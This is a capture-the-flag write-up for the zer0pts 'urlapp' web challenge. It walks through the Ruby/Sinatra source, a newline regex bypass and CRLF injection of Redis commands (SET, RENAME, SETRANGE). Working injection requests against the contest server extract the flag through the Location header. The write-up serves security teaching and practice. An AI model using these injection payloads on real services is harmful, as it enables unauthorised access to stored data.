# ▼▼▼urlapp(Web, 426pts, 32/432=7.4%)▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218
　⇒32/218=14.8% ---
## 【Check source code】
### 1.docker-compose.yaml
```version: '3'services:  redis:    image: redis:5    command: "redis-server /redis.conf"    volumes:      - "${PWD}/challenge/redis.conf:/redis.conf"    ports:      - 6379:6379  app:    build: .    ports:      - 8004:4567```↓
The redis server may have open ports to the outside. (may be blocked by WAF)
↓
**(Try 1)**
`redis-cli -h 3.112.201.75 -p 6379`
↓
Can not connect. It is prevented by WAF...
---
### 2.Dockerfile```FROM ruby:2.7
RUN mkdir /appWORKDIR app
ADD challenge/Gemfile GemfileADD challenge/Gemfile.lock Gemfile.lock
RUN bundle install
ADD challenge/app.rb app.rbADD challenge/index.html index.htmlADD challenge/flag.txt flag.txt
CMD bundle exec ruby app.rb -s WEBrick -e production -p 4567```↓
Find flag location.
---
### 3.app.rb```require 'sinatra'require 'uri'require 'socket'
def connect()  sock = TCPSocket.open("redis", 6379)
  if not ping(sock) then    exit  end
  return sockend
def query(sock, cmd)  sock.write(cmd + "\r\n")end
def recv(sock)  data = sock.gets  if data == nil then    return nil  elsif data[0] == "+" then    return data[1..-1].strip  elsif data[0] == "$" then    if data == "$-1\r\n" then      return nil    end    return sock.gets.strip  end
  return nilend
def ping(sock)  query(sock, "ping")  return recv(sock) == "PONG"end
def set(sock, key, value)  query(sock, "SET #{key} #{value}")  return recv(sock) == "OK"end
def get(sock, key)  query(sock, "GET #{key}")  return recv(sock)end
before do  sock = connect()  set(sock, "flag", File.read("flag.txt").strip)end
get '/' do  if params.has_key?(:q) then    q = params[:q]    if not (q =~ /^[0-9a-f]{16}$/)      return    end
    sock = connect()    url = get(sock, q)    redirect url  end
  send_file 'index.html'end
post '/' do  if not params.has_key?(:url) then    return  end
  url = params[:url]  if not (url =~ URI.regexp) then    return  end
  key = Random.urandom(8).unpack("H*")[0]  sock = connect()  set(sock, key, url)
  "#{request.host}:#{request.port}/?q=#{key}"end
```
---## 【Goal】
```before do  sock = connect()  set(sock, "flag", File.read("flag.txt").strip)end```↓
The flag is stored in redis and is initialized at each access.
---
## 【Vulnerability identification】
```get '/' do  if params.has_key?(:q) then    q = params[:q]    if not (q =~ /^[0-9a-f]{16}$/)      return    end
    sock = connect()    url = get(sock, q)    redirect url  end
  send_file 'index.html'end```↓
In Ruby, regular expressions can be bypassed by **CRLF injection**.
In Redis, NoSQL Injection vulnerability by **CRLF injection**.
---
**(Try 2)** In Ruby, regular expressions can be bypassed by CRLF injection.
try to get the flag in redis.
↓
`GET /?q=flag%0a0000000000000000`　　⇒　No response!!
↓
Since Dockerfile is given, build the environment and check the log.```11.108.19.80 - - [08/Mar/2020:04:51:05 +0000] "GET /?q=flag%0a0000000000000000 HTTP/1.1" 302 - 0.0019[2020-03-08 04:51:05] ERROR URI::InvalidURIError: bad URI(is not URI?): "http://my_server/flag{secret}"        /usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:67:in `split'        /usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:73:in `parse'        /usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:117:in `convert_to_uri'        /usr/local/lib/ruby/2.7.0/uri/generic.rb:1101:in `merge'        /usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:298:in `setup_header'        /usr/local/bundle/gems/rack-2.2.2/lib/rack/handler/webrick.rb:17:in `setup_header'        /usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:225:in `send_response'        /usr/local/lib/ruby/2.7.0/webrick/httpserver.rb:112:in `run'        /usr/local/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'```
↓
Flag can be obtained from redis.
After the value is reflected in the **Location header**, it seems that **No Response** is caused by **{** and **}**.
---
**(Try 3)** In Redis, NoSQL Injection vulnerability by CRLF injection.
Try running the redis command **'set test test'**.
↓
```POST / HTTP/1.1Host: 3.112.201.75:8004Content-Type: application/x-www-form-urlencodedContent-Length: 39url=%0aset%20test%20test$0a0000000000000000```↓
`GET /?q=test%0a0000000000000000`   ⇒   `Location: http://3.112.201.75:8004/test`
↓
It was confirmed that **the set command could be executed.**
---
## 【Consider how to get redis flag?】
**Method 1:** Save the flag once in another location and update the flag so that the flag is not overwritten
**Method 2:** If there is a sleep() function, etc., get the time difference
**Method 3:** Arbitrary code can be executed and data is sent to the outside with a command like curl
↓
As a result solved by **method 1**.
---
## 【Investigation of redis function】
I found a command that could be used.
**"RENAME"** : Change the key name
**"SETRANGE"** : Change the number of characters from the beginning to the specified value
---
## 【Investigation using two functions】
```GET /?q=kazkiti3%0a0000000000000000			　　　　　　　⇒Location: http://3.112.201.75:8004/ 　※Confirm that kazkiti3 is not usedGET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000	⇒Location: http://3.112.201.75:8004/GET /?q=kazkiti3%0a0000000000000000			　　　　　　　⇒No response```
↓
**"RENAME"** is enabled, and it seems that kazkiti3 is set with flag.
---
flag format is zer0pts{???????}.
↓
Since the beginning is 0th, **"{"** is the **7th**.
---
### (Check the character length of flag)
Use **"SETRANGE"** to change to **"1"** from the beginning
↓
```GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%208%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%209%201%0a0000000000000000 ⇒No response・・・(Omitted)・・・GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2034%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2036%201%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts111111111111111111111111111111```
↓
flag seems to be **36 characters!!**
---
## 【exploit】
```GET /?q=kazkiti3%0a0000000000000000GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ※I changed it to 35 because it is 36 characters.GET /?q=kazkiti3%0a0000000000000000			⇒Location: http://3.112.201.75:8004/zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1```↓
`zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1`
↓
`zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}`